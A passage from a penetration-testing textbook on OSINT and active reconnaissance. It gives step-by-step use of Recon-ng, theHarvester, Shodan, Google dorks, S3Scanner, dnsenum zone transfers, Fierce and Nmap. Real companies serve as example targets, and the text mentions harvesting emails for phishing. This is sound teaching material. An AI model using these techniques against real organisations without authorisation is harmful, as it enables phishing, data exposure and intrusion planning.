the graph. By default, paterva.com will appear as the target domain. Let's
change the domain value to something else. On the left-hand side of the interface,
click on Property View. You will be able to edit the value in the Domain Name
field, as shown in the following screenshot:
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Once the domain name has changed, we can proceed and resolve the website8.
URL for the domain. Right-click on the domain entity, click on All Transforms,
and select To Website [Quick lookup]. This transform will simply discover the 
website address (refer to the screenshot on the left) and display the relationship
(refer to the screenshot on the right):
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Next, we can attempt to obtain the IP address of the website address. Right-click9.
on the website address (www.google.com) | All Transforms | To IP Address
(DNS). The following screenshot on the right displays the IP address that was
resolved for www.google.com. Please note that this is one of many IP addresses
that are used for the www.google.com URL:
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We can take this phase even further. How about discovering the top-level10.
domains (TLDs) that are a part of the google.com domain? To complete this task,
we begin by right-clicking on the domain entity (google.com) and selecting To
Domain [Find other TLDs], as shown in the following screenshot on the left.
Once the transform has been completed, Maltego will present the information in
a tree-like structure on the graph plane, as shown in the following screenshot on
the right:

Now, how about gathering the email addresses of contacts who are registered to11.
a domain? We can right-click on the IP address entity | All Transforms | To
Email address [From whois info]. If there are any email addresses, they will be
displayed, as shown in the screenshot on the right:
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Furthermore, we can attempt to obtain the name servers (NSes) for the domain.12.
Right-click on the domain entity (google.com) | All Transforms | To DNS
Name – NS (name server). All the NSes for the domain will be presented, as
shown in the screenshot on the right:.

Now, you have a better idea of the functions of Maltego and how to navigate the various
transforms. A nice feature of Maltego is the relationship mapping on the graph to help you
analyze information and entities.
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Having completed this section, you are now familiar with using Maltego to gather
information. In the next section, we will use a Python-based tool to assist us in passive
information gathering.

Recon-ng
Recon-ng is an OSINT reconnaissance framework written in Python. The tool itself is
complete with its own modules, database, interactive help, and menu system, similar to
Metasploit. Recon-ng is able to perform web-based, information-gathering techniques using
various open source platforms.

Recon-ng is already part of the arsenal of tools in Kali Linux. To access the interface of
Recon-ng, simply click on Applications in the top-left corner to expand the application
menu, and then select 01 – Information Gathering. You should see recon-ng. Click on it to 
open the framework:
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Additionally, you can open the Linux Terminal window and type recon-
ng to run the framework.

To download and set up the latest version of Recon-ng, use the following instructions:

Execute the following configurations on your Terminal to download the latest1.
version of Recon-ng and install it:

git clone https://github.com/lanmaster53/recon-ng.git
cd recon-ng
pip install -r REQUIREMENTS
./recon-ng

After you're finished, your screen should be similar to the following screenshot:
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If there are no modules installed or enabled, use the following command to2.
install all modules onto Recon-ng:

marketplace install all

Optionally, you can reload all the modules by using the modules reload
command.

Now that the Recon-ng framework has opened, let's get familiar with its interface by using
the following instructions:

To view all the modules in Recon-ng v5, we must use the modules search1.
command to view a list of all available modules. All the modules will be
presented under their categories (Discovery, Exploitation, Recon,
Reporting, and so on), as shown in the following screenshot:

As a penetration tester, you may use the same tools for multiple organizations
throughout your career. We can create workspaces within Recon-ng to help
isolate our projects/data more efficiently. If you look closely at the command-line
interface, you will see the word default between square brackets. This implies
that we are currently within the default workspace of Recon-ng.
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To create a workspace, we can use the workspaces create <worksplace-2.
name> command. We are going to create a new workspace named pentest. Use
the workspaces create pentest command within the Recon-ng interface.
To view all existing workspaces and to verify the creation of our new workspace,3.
we can use the workspaces list command:

To use the pentest workspace, use the workspaces select pentest4.
command. The workspace should change on your command-line interface.
Now that we have added a company and its domain to our database, let's search5.
for a module to perform a whois lookup. We can use the modules search
whois command, where whois is the keyword or search criteria:
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We are going to use the point-of-contacts (POCS) module to obtain further6.
details of people related to the domain. To do this, execute the modules load
recon/domains-contacts/whois_pocs command. Using the info command
will provide you with a description of the module and whether additional
parameters are required:

The default value is set by the developer of the module; set your own
source for each module within Recon-ng. Additionally, you can use the
info command to view details about a module. The input command will
list the input values for the SOURCE component of a module. The input
command is useful to verify what the SOURCE values are for a specific
module.

Let's set the SOURCE value to microsoft.com; this can be done by using the7.
options set SOURCE microsoft.com command, as shown in the following
screenshot:
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Once everything is set correctly, use the run command to execute the module8.
against the domain. Once the module has completed its analysis, we can use the
show contacts command to view the list of information, such as a person's first
and last names, email addresses, region, and country.

As you can see, Recon-ng is a very powerful tool and is able to handle data management
quite well. Organizations usually create subdomains for many purposes; some can be used
as a login portal, or simply as another directory on a website.

To obtain a list of subdomains of a target, observe the following steps:

Let's start by searching for a suitable module by using the modules search1.
site command. Recon-ng will return some of the modules that contain site as
part of their names.
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We're going to use the google_site_web module. Simply execute the modules2.
load recon/domains-hosts/google_site_web command:

Next, let's change the SOURCE value for this module by using the options set3.
SOURCE microsoft.com command, as shown in the following screenshot:

Use the run command to execute this module.4.
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Once the module has finished its query, use the show hosts command to view5.
the list of subdomains that were found for the microsoft.com domain:

Now, let's make this a bit more exciting. How about obtaining the IP addresses6.
for the subdomains? To do this, we are going to run the module load
recon/domains-hosts/brute_hosts command and set the SOURCE value to
microsoft.com:

Once the module is finished executing, use the show host command once more.7.
You should see IP addresses corresponding to a subdomain:
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As a penetration tester, writing reports can be very overwhelming as a report is a summary
of the actions performed and results obtained while you were performing various tasks and
using a number of tools. Recon-ng has a few reporting modules that are able to generate
reports in multiple formats. The dashboard command will provide a summary of tasks
performed with Recon-ng, as shown here:
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To generate a report, you can use the modules search report command. This will let
you view a list of reporting modules within the Recon-ng interface. We are going to create a
report in HTML format. To create the report, perform the following steps:

Execute the modules load reporting/html command.1.
Use the options set CREATOR command to set the creator of the report.2.
Use the options set CUSTOMER command to set the customer.3.
Use the options set FILENAME command to set the output location with the4.
filename of the report.
Lastly, use the run command to execute the module and generate the report.5.

The following screenshot has labels that correspond to the aforementioned steps for
generating and exporting a report file using reporting/html module:
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Finally, navigate to the output location on your Kali Linux machine and open the HTML
file. The view should be similar to the following:

Now, the information is nicely categorized and summarized for viewing.

In the next section, we'll take a look at using theHarvester to gather the email addresses of
people associated with an organization.

theHarvester
theHarvester is designed to gather email addresses, domains, and employee details for a
given company. theHarvester uses multiple open sources on the internet, such as search
engines, to piece together details in a readable format.
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Further details on theHarvester can be found on its GitHub page:

https://github.com/laramies/theHarvester

To get started with theHarvester, execute the following steps:

Open a Terminal window and execute theharvester. The description and1.
usage of the tool will be presented on the Terminal, as shown in the following
screenshot:
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Let's attempt to gather the email addresses of employees of a company whose2.
email addresses are published publicly, such as on forums, websites, blogs, and
social media platforms. We can use the theharvester –d <domain> –b
<data source> command to do this. In our example, we'll search for email
addresses of the checkpoint.com domain while using Google as the data
source:

The results have provided us with some corporate email accounts of some of the employees
of the company and the IP addresses of some subdomains. I would recommend using
various data sources to gather as much information as possible. One purpose of gathering
the email addresses of a company is to perform phishing attacks.

Next, we are going to use the Shodan search engine, which indexes Internet of Things
(IoT) and other online devices to retrieve information about a potential target.
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Shodan
Shodan (www.shodan.io) is a search engine that indexes various devices that are connected
to the internet. What does this mean? To elaborate, let's take a real-life example of 
discovering devices of a certain vulnerability level. In January 2019, Hacker News (https:/
/thehackernews.com) published an article indicating that over 9,000 Cisco SMB RV320 and
RV325 routers were globally affected by a new exploit. The exploits were CVE-2019-1652
and CVE-2019-1653, and they allow a malicious person to obtain configuration files and
gain control of devices.

This article can be found at the following URL:

https:/ /thehackernews. com/ 2019/ 01/hacking- cisco- routers. html

Imagine that you're interested in discovering all the devices of this nature on the internet.
Using Shodan as a regular search engine, we can quickly discover multiple devices that fit
our search criteria of cisco rv325, as shown in the following screenshot. Look closely: we
can see a list of online Cisco RV325 routers, their IP addresses, their hostnames, and their
locations:
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The results provide geolocation information for the devices and IP addresses, and banner
information such as firmware versions. On the left, we can see a global map indicating the
number of internet-connected devices per country and organization. Simply clicking on a
country, an organization, or even an IP address will filter that information for us.

Clicking on an IP address will provide greater insight into the selected device, such as the
hostname, open ports, running services, organization, Internet Service Provider (ISP)
details, and the vulnerabilities the device is susceptible to, as shown in the following
screenshot:

Information that's gathered from Shodan can help you build a better profile of your target
organization during a penetration test as it can provide you with possible operating system
versions and other technical details that you can use to successfully exploit your target. Put
simply, Shodan can help you identify the target's technologies and control systems in their
organization and IT infrastructure.

In the next section, we'll learn about OSRFramework.
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OSRFramework
Another awesome OSINT tool is OSRFramework. This toolset performs lookups using
usernames, DNS records, deep web searches, and much more.

To begin, we can execute the osrf command on the Terminal to provide a description of
the usage of the tool itself. Let's imagine that we need to obtain a list of corporate email 
addresses of our target company on a social media platform. The following are the
components of OSRFramework that we can utilize in order to gather information from
various sources:

domainfy: Checks whether domain names that use words and nicknames are
available
entify: Extracts entities using regular expressions from provided URIs
mailfy: Gets information about email accounts
checkfy: Verifies whether a given email address matches a pattern
phonefy: Looks for information linked to spam practices by a phone number
searchfy: Performs queries on several platforms
usufy: Looks for registered accounts with given nicknames

In our first example, we can attempt to obtain information about our target domain using
the whois database. Using the domainfy.py --whois –n <target> syntax, the
framework will begin querying whois and provide the results in a table format after a few
minutes. In our example, I have used the domainfy.py --whois –n checkpoint
command to specifically retrieve information for any domain that contains the name
checkpoint.

The following are the results:
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Next, we can attempt to obtain the email addresses of a given search string. In this second
example, we are attempting to discover email addresses that contain the checkpoint
string, which has been used on various websites on the internet. We can begin by using the
mailfy.py –n checkpoint command. We will be presented with a table displaying the
email addresses that fit our search criteria, domain, and platform location, as shown in the
following screenshot:

In our third example, we are going to use a string to search across all the services of
OSRFramework. To achieve this task, use the seachfy.py –q string command on your
Terminal. Once completed, the results are displayed and tell you about the location that
was found, any aliases, and the URLs, as shown in the following screenshot:
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Additionally, checking for telephone number leakage is simple with OSRFramework. Using
the phonefy.py –n number command, OSRFramework will begin its search. The
following screenshot displays the URL location and platform for a given telephone number:

In our final example, we can search for usernames. Using the usufy.py –n string
command will allow OSRFramework to search for various online resources. In this
example, I have searched for p@55w0rd1 as the username, and the following are the results:

As you have seen, OSRFramework is another very powerful tool within the Kali Linux
platform. Using a tool such as this can save you a lot of time during your information-
gathering process.

Having completed this section, you now have the skills to use multiple OSINT tools to
gather specific and detailed information about a target organization. In the following
section, we will discuss the topic of data leaks in cloud resources.
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Identifying target technology and security
controls
As a penetration tester, it's quite important to determine the technologies used by a target
network or organization prior to performing an external network penetration test.
Discovering technologies used by a target usually proves to be very useful prior to any sort
of offensive attack on the target network or organization. It allows us, as penetration
testers, to better equip ourselves with the appropriate tools to get the job done efficiently
and successfully. Imagine starting a new job as a carpenter but you arrive on your first day
without any tools—how can you expect to be successful?

Furthermore, knowing about the technologies and security controls used on the target
network beforehand will allow us to better prepare ourselves by researching and
developing exploits to take advantage of known security weaknesses on the target system
and network. We will look at this idea in more detail in the following sections.

Discovering technologies using Shodan
We are first going to use Shodan to help us discover technologies running on the target
servers. Remember that Shodan is a search engine for IoT devices that provides in-depth
information about devices connected to the internet.

To get started, observe the following steps:

Using your web browser, go to https:/ /www. shodan. io.1.
You may be required to register and create an account with Shodan to get better2.
results.
In the search bar, enter an organization to search for a device. The following3.
screenshot shows the search bar on Shodan:

Once the search is complete, click on a target from the search results to access the4.
information found with Shodan.
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On the target's page, you'll be presented with a list of open network ports,5.
running services, and their versions, as well as any technologies being used:

Scrolling down a bit, if there are any known vulnerabilities found on the target,6.
Shodan will provide a list with descriptions:
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In the next section, we will take a look at using Netcraft to gather more detailed
information about the underlying technologies of a target web server.

The power of Netcraft
Netcraft allows us to gather information about a target domain, such as network block
information, registrar information, email contacts, the operating system of the hosting
server, and the web platform.

To get started, use the following instructions:

Using your web browser, go to https://www.netcraft.com/.1.
In the search bar highlighted in the following screenshot, enter a domain:2.

If a search doesn't return anything, include www as part of the website address.

The results page will appear, providing network-related information about the3.
target. Scroll down a bit until you see Hosting History. This section provides you
with the hosting server's operating system, web server platform, and service
versions, as shown here:
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Scroll down a bit more until you see Site Technology. This section informs you4.
about the technologies Netcraft was able to identify on the target web server:
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As you have seen, Netcraft is able to provide us with very useful information. We can now
take the information found and perform further research on the technologies to find known
vulnerabilities and exploits to compromise the target.

Recognizing technologies with WhatWeb
Lastly, we can take a look at using the WhatWeb tool in Kali Linux. WhatWeb is capable of
recognizing the technologies used for websites, email addresses, web frameworks, and
databases.

To get started using WhatWeb, observe the following steps:

Open a new Terminal and enter the whatsweb –h command to get the help1.
menu, displaying the syntax.
To run WhatWeb against a target such as Metasploitable in our lab, use the2.
whatweb <target> command as shown here:

WhatWeb was able to provide us with the technologies used on the web server
platform on our Metasploitable virtual machine.

Next, using the whatweb –v <target> command, provide a verbose output as3.
shown here:
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In the verbose output shown here, WhatWeb provides us with much more detail about the
descriptions of plugins used and their results.

In this section, we have completed various exercises designed to help us discover
technologies that are being used on a target network or system. In the next section, we will
take a deep dive into learning about cloud resources.
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Finding data leaks in cloud resources
Over the past few years, cloud computing has become one of the fastest-growing trends in
the IT industry. Cloud computing allows companies to migrate and utilize computing
resources within a cloud provider's data center. Cloud computing providers have a pay-as-
you-go model, which means that you only pay for the resources you use. Some cloud
providers allow pay-per-minute schemes, while others use a pay-per-hour structure.

There are three big cloud providers:

Amazon Web Services (AWS): Amazon's cloud service
Microsoft Azure: Microsoft's cloud service
Google Cloud Platform (GCP): Google's cloud service

A service that cloud providers usually offer to customers is a storage facility. The AWS
storage facility is known as Simple Storage Service (S3). Whenever a customer enables the
S3 service, a bucket is created. A bucket is a storage unit within the AWS platform where
the customer can add or remove files. In Microsoft Azure, the file storage facility is known
as Azure Files. Additionally, on GCP, the storage facility is known as Google Cloud
Storage.

In the field of information security, we must remember that when a company is using a
cloud platform, the data on the cloud platform must be secured, just like it should be when
stored on premises (that is, when stored locally). Sometimes, administrators forget to
enable security configurations or lack knowledge regarding the security of a cloud solution.
This could lead to, say, an attacker discovering a target organization's AWS S3 buckets.
Let's look at a simple example of doing that now.

http:/ / flaws. cloud/  is a website that you can use to learn about cloud
security vulnerabilities.

In our exercise, we are going to use the S3Scanner tool. Follow these steps to get started:

This tool is not pre-installed in Kali Linux, so we will need to create a clone of the1.
GitHub repository by using the following command:

git clone https://github.com/sa7mon/S3Scanner.git
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Next, change directories to the S3Scanner folder using the cd S3Scanner2.
command.
Now, you'll need to install additional dependencies for this tool. Don't3.
worry—the developers made this step very easy for us. To complete this step,
use the pip install -r requirements.txt command.
Once completed, we can now use our tool on a target's domain. Using the4.
python ./s3scanner.py domain syntax, the tool scanner will create a domain
for an AWS S3 bucket and determine whether it's accessible.
The following screenshot shows the use of S3Scanner to check for any AWS S35.
buckets on the flaws.cloud domain:

One bucket has been found on the domain. Additionally, you can create a list of6.
domains in a text file and query the entire file at once. The following is an 
example of querying multiple domains that are stored in the sites.text file:
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Furthermore, we can use the host command to resolve the IP address of the7.
domain. Then, by using the nslookup utility with the ptr parameter, a reverse
lookup can be performed, which will result in us getting the actual name of the
AWS S3 bucket, as shown in the following screenshot:

Data leaks can happen on any platform and to any organization. As an upcoming
penetration tester and cybersecurity professional, you must have knowledge of how to find
them before an actual hacker does and exploits them. Companies can store sensitive data
on cloud platforms, or even leave other data completely unprotected on a cloud service
provider network. This can lead to the successful retrieval of data and accounts.

Understanding Google hacking and search
operators
The concept of Google hacking is not actually hacking into Google's network infrastructure
or systems, but rather using advanced search parameters within the Google search engine.
We can use Google to help us find vulnerable systems, hidden information, and resources
on the internet by simply inserting special search operators in the Google search bar.

Let's imagine that you would like to use the Google search engine to look for various
websites, but you don't want to see results that contain certain keywords or phrases. We
can use the <string of text here> -<keyword> syntax to do this. The keyword is the
phrase or text that you want to exclude.
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Let's look at the following example:

In our example, we are searching for penetration testing tools. At the same time, we are
telling the Google search algorithm to not display any results that contain the word kali.
Additionally, we can use the <string of text here> "keyword" syntax to view results
that do contain the keyword.

The following table is a brief list of Google search operators, also known as Google dorks,
that can help you find sensitive information on the internet:
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Furthermore, the team at Offensive Security (www.offensive-security.com) maintains the
Exploit Database (www.exploit-db.com), which has a dedicated section known as the
Google Hacking Database (GHD) (https:/ /www. exploit- db.com/ google- hacking-
database). The GHD is constantly updated by community members and contains search
parameters in many categories, as shown in the following screenshot:

Each search parameter can be copied and pasted into Google Search, and the results will be
displayed accordingly. Each entry within the GHD contains a brief description of the search
operator.

The following is a search parameter that's used to discover the Cisco Adaptive Security
Appliance (ASA), which has a publicly available login page:
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Such sensitive information and hidden directories can be a hacker's playground; similarly,
for a penetration tester, it's a gold mine just waiting to be exploited.

We have completed our discussion of Google hacking. In the next section, we'll take a took
at copying websites locally using Kali Linux.

Leveraging whois and copying websites
with HTTrack
In this section, we are going to take a look at two particular resources. We'll use whois to
help us gather contact information from a domain registrar for a target domain, and we'll
use HTTrack to copy a website locally.

Let's dive in and look at the functions of whois and how it can be beneficial to us.
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whois
whois is a database that keeps a record of the registry information of all registered domains.
The following is a brief list of some information types that are usually stored for public
records:

Registrant contact information
Administrative contact information
Technical contact information
Nameservers
Important dates, such as registration, update, and expiration dates
Registry domain ID
Registrar information

Accessing a whois database is quite simple: you can use the Google search engine to find
various databases. Some whois websites include www.whois.net, whois.domaintools.com,
who.is, and www.whois.com. However, Kali Linux contains a built-in whois tool. To
perform a whois lookup on a domain, implement the following steps:

Open the Terminal and use the whois <domain-name> syntax, as shown in the1.
following screenshot:
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The output is presented on the Terminal for the domain. The information that's2.
obtained can be leveraged by a penetration tester for various types of attacks on a
target organization.

In the next section, you will learn how to use HTTrack to copy a website locally.

HTTrack
HTTrack (www.httrack.com) allows us to view an entire website offline. It does this by 
creating a clone copy of an online website and storing it locally on our computer. To use
HTTrack, simply open a new Terminal window and perform the following steps:

Execute the httrack command to invoke the interactive wizard.1.
Enter a name for the project.2.
Set the destination path to store the offline copy of the target website. Hitting3.
Enter will use the defaults in the brackets.
Specify the URL.4.
Choose an appropriate action.5.
Confirm the details and launch HTTrack to mirror the website.6.

The following is a screenshot indicating the steps that we have just outlined:
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Cloning a website can be very useful as you'll be able to discover and access hidden
resources and files that weren't accessible via the online version. As a penetration tester,
you can explore each offline directory thoroughly; normally, webmasters tend not to 
always perform any cleanup of old data and files, so there'll be lots to explore.

Having completed this section, you have the knowledge required to copy a target website
onto your Kali Linux machine. In the next section, we will attempt to retrieve subdomains
for a target domain.

Finding subdomains using Sublist3r
As a user of the internet, you will have realized that multiple search engines such as MSN,
Google, Yahoo, and Bing frequently learn and index new and existing websites to improve
their search results. If you search for a company's website, you are most likely to discover
the main domain name, such as company.com. A lot of organizations create subdomains
for various reasons, however. As penetration testers, we would like to discover all the
possible subdomains of a target organization as they can lead to login portals and sensitive
corporate directories, which may contain confidential files and resources.

We can leverage the power of search engines for this task using the Sublist3r tool. Sublist3r
is a Python-based tool that is used to enumerate (extract/obtain) the subdomains of a given
website using OSINT, such as search engines and other internet indexing platforms.

The Sublist3r tool is not natively installed on Kali Linux, and so we will need to download
it from its GitHub repository.

To get started, execute the following steps:

Open the Terminal on your Kali Linux machine and execute the following1.
command:

git clone https://github.com/aboul3la/Sublist3r.git

Once the cloning process has been completed, change directory to the2.
Sublist3r folder using the cd Sublist3r command.
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At this point, we can use the Sublist3r tool to search for the subdomains of a3.
target domain (company) using the python sublist3r.py –d domain-name
command. The screenshot to the left shows the successful invocation of the tool,
while the right-hand screenshot shows the results being populated on the
Terminal:

Using this tool can save us a lot of time that would otherwise have been spent manually
searching the internet.

You have now learned how to efficiently discover subdomains for a target website using
the Sublist3r tool on Kali Linux.

Summary
In this chapter, we have discussed the importance of conducting reconnaissance prior to
attacking a target. The information gathered during this phase is vital to the later phases of
penetration testing. Information gathering helps create the foundation for the penetration
tester's research of a target's security vulnerabilities, which is required for system and
network exploitation.

We outlined the differences between reconnaissance and footprinting, and we also took a
look at how to use various OSINT tools to obtain information about various targets.

In the next chapter, Active Information Gathering, we will be covering further topics on
information gathering.
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Questions
What is the purpose of footprinting?1.
What OSINT tools can be used to gather information?2.
Using Google Search, how can you view results for a particular domain?3.
Name a reputable online source for researching exploits.4.
You are interested in gathering the domain registry information of a target5.
company. What resources would you use?
How can you discover the subdomains of a company's website?6.

Further reading
Web Application Information Gathering: https:/ /hub. packtpub. com/ web-
application- information- gathering/ 

Open Source Intelligence: https:/ /hub. packtpub. com/ open- source-
intelligence/ 
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6
Active Information Gathering

Active information gathering can be used to provide very useful results during the
reconnaissance phase of a penetration test. With this active approach, the penetration tester
makes a direct connection to the actual target to gather specific details that Open Source
Intelligence (OSINT) is unable to provide. Using active information gathering, the
penetration tester is able to create a very detailed profile of the target, gathering
information such as the type of operating system and running services. This information
helps to research and identify vulnerabilities in relation to the target, thereby narrowing the
scope in choosing specific exploits to unleash against it.

For this entire chapter, we will focus on directly engaging the target to gather specific
details about it in order to help us profile any running services. Understanding how to
perform active reconnaissance will provide us with vital assistance for the exploitation
phase. During the information-gathering phase, you'll be able to identify vulnerabilities and
determine suitable exploits to break into a system and network. You will also be able to
retrieve sensitive information from network devices and systems.

During the course of this chapter, we will cover the following topics:

Understanding active information gathering
DNS interrogation
Scanning
Nmap
Hping3
SMB, LDAP enumeration, and null sessions
Web footprints and enumeration with EyeWitness
Metasploit auxiliary modules
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Technical requirements
The following are the technical requirements for this chapter:

Kali Linux: www.kali.org
Wireshark: www.wireshark.org
JXplorer: https:/ /github. com/ pegacat/ jxplorer

EyeWitness: https:/ / github. com/ FortyNorthSecurity/ EyeWitness

Understanding active information gathering
Active information gathering uses a direct approach to engage with our target; it involves
actually making a connection between our machine and the target network and systems. By
performing active information gathering, we are able to gather specific and detailed data
such as live hosts, running services and application versions, network file shares, and user
account information.

Performing active information gathering does pose a risk of detection.

Determining live hosts will give us an idea of the number of devices that are online. It
doesn't make sense to target an offline device as it would be unresponsive. Knowing the
operating system and running services on a target helps us to understand the role of that
device in the network and the resources it provides to its clients.

For example, if we were to find lots of file shares on the target system during active
information gathering, this could mean that the target may be a file server that has a lot of
important data on its shared drive. When performing active information gathering, the
attacker machine (in our case, a Kali Linux-based machine) sends special queries to the
potential victim in the hope that the victim machine will respond by providing some sort of
confidential information (such as network shares and service versions) in return.

Now that you have a better understanding of what active information gathering is, let's
dive deep into its practices in the following sections.
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DNS interrogation
As a future cybersecurity professional, understanding the purpose of various applications
and network protocols is very important. In this section, we are going to focus on a
particular protocol: Domain Name System (DNS).

Let's begin by further understanding the role of DNS and how we can obtain information as
a penetration tester.

What is DNS and why do we need it on a
network?
DNS is like a telephone directory containing names, addresses, and telephone numbers.
DNS is used on networks—both the internal networks of organizations and external
networks across the internet. The DNS protocol is used to resolve hostnames (domain
names) to IP addresses.

Before DNS, each computer contained a hosts file located in the
C:\Windows\System32\drivers\etc directory. This file needed to be updated
frequently to ensure that users were able to reach various websites or servers by specifying
their hostnames or domain names. If the hosts file was not present, a user needed to
specify the IP address of the server they would like to visit.

All devices on a network have an assigned IP address. Remembering all of the IP addresses
for each server or website you want to visit would be quite challenging. If the hosts file
doesn't contain the most up-to-date records of new servers and websites, the user would
have difficulty in reaching their destination.
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The following screenshot shows current entries within the hosts file of a Windows
operating system:

Windows hosts file record

DNS helps us to avoid depending on the hosts file. Many popular internet companies,
such as Cisco, Google, and Cloudflare, have established public DNS servers that contain
records of almost every domain name on the internet. To elaborate further, let's use a
simple example to help you to understand how DNS works.

Imagine you would like to visit a website, such as www.example.com:

Whenever a computer or device needs to resolve a hostname to an IP address, it1.
sends a DNS query message to its DNS server, as indicated in Step 1 in the
following screenshot.
The DNS server will check its records and respond with a DNS reply providing2.
the client computer with the IP address of the domain, as displayed in Step 2 in
the following screenshot.
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Finally, the client receives the IP address and establishes a session between itself3.
and the www.example.com domain, as shown in the following screenshot:

DNS transactions

There are many public DNS servers on the internet; some are malicious in nature, capturing
your DNS information and redirecting you to harmful websites and domains. As a result, I
recommend using a trusted DNS provider on all of your networking devices and
computers to improve your online safety. The following are some popular DNS servers on
the internet:

Cloudflare DNS: https:/ /1. 1. 1.1/

Google Public DNS: https:/ /developers. google. com/ speed/ public- dns/

Cisco OpenDNS: https:/ / www. opendns. com/ 

Additionally, DNS servers not only resolve a hostname to an IP address, they also contain
various records that are used for various types of resolution.
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The following are the different record types:

DNS record types

An example of the A record type would be mapping the hostname of www.example.com to
the IPv4 address 93.184.216.34; the AAAA record of the same hostname would contain
the IPv6 address 2606:2800:220:1:248:1893:25c8:1946, and so on.

The nslookup utility is a very useful tool for validating DNS information.
nslookup can perform various tasks, such as resolving each type of DNS
record for a given domain, and it has the ability to query specific DNS
servers.
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DNS enumeration is the technique of probing specific DNS records for a specific
organization's domain. In other words, we ask a DNS server about the IP addresses and
server names for a target organization. Additionally, we attempt to perform a DNS zone
transfer. A DNS zone transfer would allow the zone file to be copied from a master DNS
server to another DNS server, such as a secondary DNS server.

However, DNS server administrators sometimes forget to apply security controls to
prevent the copying of zone files to unauthorized servers. A successful DNS zone transfer
can lead to a penetration tester obtaining the corporate network layout. In a worst-case
scenario (for a targeted organization, that is), an organization may not separate the internal
and external namespaces on their DNS servers. Such misconfigurations can lead to
someone obtaining such information for malicious purposes.

In the following exercises, we are going to attempt the extraction of various DNS records
for a given domain:

DNS enumeration
DNS zone transfer
Using the host utility to perform DNS analysis
DNS interrogation using Fierce

Let's dive in and have some fun with DNS and Kali Linux!

Performing DNS enumeration and zone transfer
using dnsenum
dnsenum is a very simple and easy-to-use tool for enumerating and resolving DNS
information for a given target. Additionally, it has the ability to automatically perform DNS
zone transfers using the nameserver details:

Open a new Terminal window and execute the dnsenum command. The Help1.
menu appears, providing detailed descriptions of various operators/parameters
and their use.
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Use the dnsenum zonetransfer.me command to perform DNS enumeration2.
on the zonetransfer.me domain, as shown in the following screenshot:

dnsenum

dnsenum will attempt to obtain all of the servers and hostnames for the
given domain. We are able to obtain the nameservers, mail servers (used
for email exchange), and IP addresses for each server and hostname
found.
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dnsenum will attempt to perform a DNS zone transfer by querying the specific3.
nameservers found during the enumeration process, as shown in the following
screenshot:

DNS zone transfer

As in the preceding snippet, the dnsenum tool was able to successfully extract/replicate the
master zone records from the nsztml.digi.ninja nameserver. Using the information
found, a penetration tester will have better insights into the target organization's
(zonetransfer.me) internal and external network devices.

Access to sensitive information such as what we have found can potentially lead to a
successful network breach in the target organization.

Up next, we will attempt to perform DNS analysis using a native Linux tool.
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Using the host utility to perform DNS analysis
The host utility is native to the Linux operating system and can help us to obtain various
DNS information about a target domain:

Open a new Terminal on Kali Linux and execute the host zonetransfer.me1.
command; the host tool will attempt to obtain the DNS records, such as the A
and MX records, for the domain:

Retrieving DNS records using host

Use the host -t ns zonetransfer.me command to attempt enumeration by2.
obtaining the nameservers for the domain. The -t operator allows you to specify
the DNS record:

Nameserver records

Now that we have obtained the nameservers for the domain, let's use the3.
information we have gathered so far. Let's attempt to perform a DNS zone
transfer by querying nameservers for the domain by using the host -l
zonetransfer.me nsztml.digi.ninja command, as shown in the following
screenshot:
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DNS zone transfer with host

Be sure to query all nameservers for a given domain—sometimes, one server may be
misconfigured even though the others are secured.

Now that you have the skills to perform DNS enumeration and zone transfers, let's attempt
to discover subdomains using DNS.

Finding subdomains with dnsmap
dnsmap works a bit differently from the tools we looked at in the previous examples.
dnsmap attempts to enumerate the subdomains of an organization's domain name by
querying a built-in wordlist on the Kali Linux operating system. Once a subdomain has
been found, dnsmap will attempt to resolve the IP address.
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Using the dnsmap microsoft.com command, we are able to find subdomains for the
organization and their corresponding IP addresses:

dnsmap results

As mentioned in a previous section, discovering the subdomains of an organization can
lead to finding hidden and sensitive portals and directories in a domain.

As you may have noticed, each tool we have used so far gives us a bit more detail. In the
next section, we will use a more aggressive tool to help us to extract more details about a
target domain.

DNS interrogation using Fierce
Fierce is considered a semi-lightweight DNS interrogation tool. It performs extensive
lookups on IP spaces and hostnames for a given target domain. To use Fierce, we can
execute the fierce -dns example.com command, as shown in the following screenshot:
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Fierce DNS interrogation

Fierce will attempt to obtain all of the DNS records for a given domain and discover any
subdomains with their corresponding IP addresses. This tool may take some time to
complete its interrogation, as it implements an in-depth analysis of the target domain.

We have now completed the exercises in this section. Next, we will directly engage the
target to gather more specific details using various scanning techniques.

Scanning
Let's take our information gathering phase a bit further than we have done before. In this
section, we are going to perform various scan types on a target. These will include the
following:

Ping sweep
Operating system and service version detection
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Scanning for host devices that have ICMP disabled
Performing stealth scanning
Scanning UDP ports using Nmap
Performing evasion scanning techniques using Nmap

The objective of scanning is to identify live hosts on a network, determine open and closed
ports on a system, identify running services on a target, and create a network diagram of
the target's network infrastructure. The information obtained during the network-scanning
phase is key in creating a profile of a target organization.

Scanning a target without permission is illegal in many countries. For this
reason, we will be scanning devices within our lab.

Within a packet, there are many types of TCP flag that are used during communication
between two or more hosts on a network. As a penetration tester, we can leverage certain
vulnerabilities within the TCP/IP stack while performing our network scans. In other
words, we are going to send specially crafted flags to a target to determine their port status,
operating system, the services running, and their versions; we'll also to determine whether
a firewall is monitoring inbound or outbound traffic, and so on.

The following TCP flags are within a packet:

URG: (Urgent) Indicates this packet should be processed immediately
PSH: (Push) Sends buffered data immediately
FIN: (Finish) Indicates there are no more transmissions to be sent
ACK: (Acknowledgement) Confirms receipt of a message
RST: (Reset) Resets a network connection
SYN: (Synchronization) Used to initialize a connection between host devices

By using a tool such as Wireshark (www.wireshark.org), you can observe every detail
within packets on a network.
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The following snippet is a capture of a network packet where the ACK flag is set:

A packet with the ACK flag enabled

Additionally, by observing the details in the packet, you can see the source and destination
MAC addresses, IP addresses, ports, and other important characteristics. Wireshark is
considered to be one of the best network protocol analyzers and sniffers among network
and cybersecurity professionals alike.

Now that we understand the importance of scanning, let's learn about one of the most
popular scanning tools in the industry, Nmap.

Nmap
Nmap is free and is one of the most powerful network scanning tools available for both
Windows and Linux platforms. Nmap can help both network administrators and
cybersecurity professionals in many ways.
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Nmap features include the following:

Creating a network inventory
Checking for live hosts
Determining operating systems
Determining running services and their version
Identifying vulnerabilities on a host
Detecting sniffers
Determining whether a firewall is present on a network

We will go over, to begin with, the basics of Nmap and move gradually on to advanced
scanning techniques. As penetration testers, we must ensure that we have an arsenal of
tools that will help us to perform our jobs efficiently. However, as professionals, we must
also ensure that we are very familiar with, and know how to use, each tool available to us.

So, we are going to start by performing a basic scan on a target:

Let's begin by opening a new Terminal and using the following syntax: nmap1.
